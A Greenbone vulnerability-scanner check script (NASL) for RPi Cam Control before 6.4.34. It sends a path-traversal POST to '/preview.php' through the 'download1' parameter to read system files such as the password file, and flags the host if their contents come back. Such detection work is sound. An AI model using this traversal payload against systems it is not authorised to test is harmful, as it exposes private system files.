RPi Cam Control < 6.4.34 Multiple Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:rpi:cam_control";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.812362");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2017-12-26 14:19:48 +0530 (Tue, 26 Dec 2017)");
  script_name("RPi Cam Control < 6.4.34 Multiple Vulnerabilities - Active Check");

  script_tag(name:"summary", value:"RPi Cam Control is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends the crafted http POST request
  and checks whether it is able to read the file or not.");

  script_tag(name:"insight", value:"Multiple flaws exist due to multiple improper
  sanitization of input passed to 'download1' and 'convertCmd' parameters in
  '/preview.php' script.");

  script_tag(name:"impact", value:"Successful exploitation will allow a remote
  attacker to read arbitrary files and also execute arbitrary commands on the
  affected system.");

  script_tag(name:"affected", value:"RPi Cam Control versions prior to 6.4.34.");

  script_tag(name:"solution", value:"Update to version 6.4.34 or later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_vul");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/42638");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_rpi_cam_control_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("RPi/Cam/Control/Installed");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
  exit(0);

files = traversal_files("linux");

foreach pattern(keys(files)) {

  file = files[pattern];

  postData = "download1=../../../../../../../../../../../../../../../../" + file + ".v0000.t";
  url = "/preview.php";
  req = http_post_put_req(port:port, url:url, data:postData,
                          add_headers:make_array("Content-Type", "application/x-www-form-urlencoded"));
  res = http_keepalive_send_recv(port:port, data:req);

  if(res =~ "^HTTP/1\.[01] 200" && (concl = egrep(string:res, pattern:pattern))) {
    report = http_report_vuln_url(port:port, url:url);
    report += '\n\nResponse:\n\n' + concl;
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);